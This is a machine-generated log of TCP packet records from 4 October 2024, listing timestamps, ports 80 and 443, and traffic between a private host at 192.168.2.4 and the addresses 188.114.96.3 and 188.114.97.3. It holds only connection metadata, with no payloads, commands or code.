Oct 4, 2024 11:23:33.002403021 CEST	443	49835	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:33.002476931 CEST	49835	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:33.002985954 CEST	49825	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:33.007931948 CEST	80	49825	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:33.195538998 CEST	80	49825	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:33.196755886 CEST	49836	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:33.196801901 CEST	443	49836	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:33.196871996 CEST	49836	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:33.197081089 CEST	49836	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:33.197129965 CEST	443	49836	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:33.197194099 CEST	49836	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:33.197251081 CEST	49836	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:33.197671890 CEST	49825	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:33.202523947 CEST	80	49825	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:33.389724970 CEST	80	49825	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:33.391530991 CEST	49837	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:33.391596079 CEST	443	49837	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:33.391680002 CEST	49837	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:33.392174959 CEST	49825	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:33.398376942 CEST	80	49825	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:33.583415031 CEST	80	49825	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:33.585087061 CEST	49825	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:33.590007067 CEST	80	49825	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:33.775710106 CEST	80	49825	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:33.817766905 CEST	49825	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:34.049269915 CEST	80	49825	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:34.049737930 CEST	49825	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:34.052777052 CEST	49838	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:34.059843063 CEST	80	49838	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:34.059947014 CEST	49838	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:34.060143948 CEST	49838	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:34.068876028 CEST	80	49838	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:34.708082914 CEST	80	49838	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:34.709526062 CEST	49839	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:34.709584951 CEST	443	49839	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:34.709646940 CEST	49839	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:34.710076094 CEST	49838	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:34.715027094 CEST	80	49838	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:34.905689001 CEST	80	49838	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:34.913446903 CEST	49840	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:34.913521051 CEST	443	49840	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:34.913615942 CEST	49840	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:34.914042950 CEST	49838	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:34.919197083 CEST	80	49838	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:35.109186888 CEST	80	49838	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:35.110763073 CEST	49841	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:35.110814095 CEST	443	49841	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:35.111016035 CEST	49841	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:35.111308098 CEST	49838	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:35.117928028 CEST	80	49838	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:35.306256056 CEST	80	49838	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:35.307744980 CEST	49842	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:35.307797909 CEST	443	49842	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:35.307893991 CEST	49842	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:35.308510065 CEST	49842	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:35.309083939 CEST	49838	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:35.314066887 CEST	80	49838	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:35.769752026 CEST	80	49838	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:35.769834995 CEST	80	49838	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:35.770175934 CEST	49838	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:35.772478104 CEST	49843	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:35.772516966 CEST	443	49843	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:35.772623062 CEST	49843	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:35.772661924 CEST	49843	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:35.773164034 CEST	49838	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:35.778280020 CEST	80	49838	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:35.964334011 CEST	80	49838	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:35.967510939 CEST	49838	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:35.974776983 CEST	80	49838	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:36.162184000 CEST	80	49838	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:36.163746119 CEST	49844	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:36.163800955 CEST	443	49844	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:36.163875103 CEST	49844	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:36.164361000 CEST	49844	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:36.164380074 CEST	443	49844	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:36.208252907 CEST	49838	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:36.643507957 CEST	443	49844	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:36.643671036 CEST	49844	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:36.650055885 CEST	49844	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:36.650083065 CEST	443	49844	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:36.650450945 CEST	443	49844	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:36.655158043 CEST	49844	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:36.655297041 CEST	49844	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:36.655448914 CEST	443	49844	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:36.655527115 CEST	49844	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:36.659703970 CEST	49838	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:36.664819956 CEST	80	49838	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:36.664930105 CEST	49838	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:36.717525005 CEST	49845	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:36.722454071 CEST	80	49845	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:36.722527981 CEST	49845	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:36.722817898 CEST	49845	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:36.727731943 CEST	80	49845	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:37.364545107 CEST	80	49845	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:37.411329985 CEST	49845	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:37.491669893 CEST	80	49845	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:37.493503094 CEST	49846	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:37.500472069 CEST	80	49846	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:37.500591993 CEST	49846	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:37.500938892 CEST	49846	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:37.506237984 CEST	80	49846	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:37.536572933 CEST	49845	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:38.150572062 CEST	80	49846	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:38.152225971 CEST	49847	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:38.152286053 CEST	443	49847	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:38.152367115 CEST	49847	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:38.152718067 CEST	49847	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:38.152734041 CEST	443	49847	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:38.192637920 CEST	49846	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:38.614284039 CEST	443	49847	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:38.614377975 CEST	49847	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:38.616206884 CEST	49847	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:38.616230965 CEST	443	49847	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:38.616600037 CEST	443	49847	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:38.617680073 CEST	49847	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:38.659406900 CEST	443	49847	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:39.512476921 CEST	443	49847	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:39.512748003 CEST	443	49847	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:39.512840986 CEST	49847	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:39.515523911 CEST	49847	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:39.520312071 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:39.520361900 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:39.520493984 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:39.520848989 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:39.520862103 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:39.981683969 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:39.983134985 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:39.983153105 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.715290070 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.715368032 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.715405941 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.715411901 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.715430975 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.715498924 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.715502977 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.715512991 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.715569019 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.715573072 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.715584040 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.715620995 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.715629101 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.715748072 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.715791941 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.715799093 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.770654917 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.770684958 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.802942038 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.803005934 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.803006887 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.803021908 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.803061962 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.803219080 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.803284883 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.803330898 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.803339958 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.803478003 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.803524017 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.803531885 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.804127932 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.804177046 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.804184914 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.804281950 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.804327965 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.804335117 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.804893970 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.804929972 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.804943085 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.804949999 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.804986954 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.805115938 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.806204081 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.806233883 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.806262970 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.806269884 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.806318998 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.806325912 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.806570053 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.806622982 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.806629896 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.807825089 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.807845116 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.807876110 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.807883978 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.807923079 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.890495062 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.890563965 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.890600920 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.890625000 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.890690088 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.890711069 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.890722990 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.890820980 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.890868902 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.890876055 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.890925884 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.891191006 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.891225100 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.891254902 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.891262054 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.891287088 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.891308069 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.891905069 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.891944885 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.891966105 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.891972065 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.891994953 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.892014027 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.892343044 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.892369032 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.892401934 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.892409086 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.892429113 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.892595053 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.892648935 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.892656088 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.892698050 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.892968893 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.893023968 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.893197060 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.893251896 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.893390894 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.893438101 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.893778086 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.893840075 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.893933058 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.893987894 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.933784962 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.934130907 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.977817059 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.977860928 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.978056908 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.978056908 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.978075027 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.978125095 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.978219032 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.978331089 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.978478909 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.978538990 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.978708029 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.978773117 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.978907108 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.978965044 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.979130030 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.979177952 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.979552984 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.979619026 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.980097055 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.980137110 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.980151892 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.980159998 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.980170965 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.980180979 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.980205059 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.980210066 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.980237007 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.980645895 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.980694056 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.980711937 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.980755091 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.980912924 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.980942011 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.980971098 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.980978012 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.981000900 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.981021881 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.981336117 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.981367111 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.981394053 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.981401920 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.981426954 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.981445074 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.981978893 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.982016087 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.982038975 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.982045889 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.982069969 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.982085943 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.982547998 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.982609034 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.982831955 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.982887030 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.983020067 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.983053923 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.983077049 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.983083963 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.983097076 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.983119965 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.983292103 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.983323097 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.983347893 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.983355045 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.983376980 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.983397961 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:40.983809948 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:40.983869076 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.020816088 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.021186113 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.065603971 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.065629005 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.065668106 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.065742016 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.065751076 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.065782070 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.066378117 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.066421986 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.066454887 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.066462994 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.066498995 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.066957951 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.066997051 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.067023993 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.067034960 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.067058086 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.067878962 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.067919970 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.067948103 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.067956924 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.068001986 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.068716049 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.068757057 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.068793058 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.068799973 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.068825960 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.069761038 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.069813967 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.069824934 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.069843054 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.069888115 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.070625067 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.070664883 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.070696115 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.070703030 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.070728064 CEST	49848	443	192.168.2.4	188.114.97.3
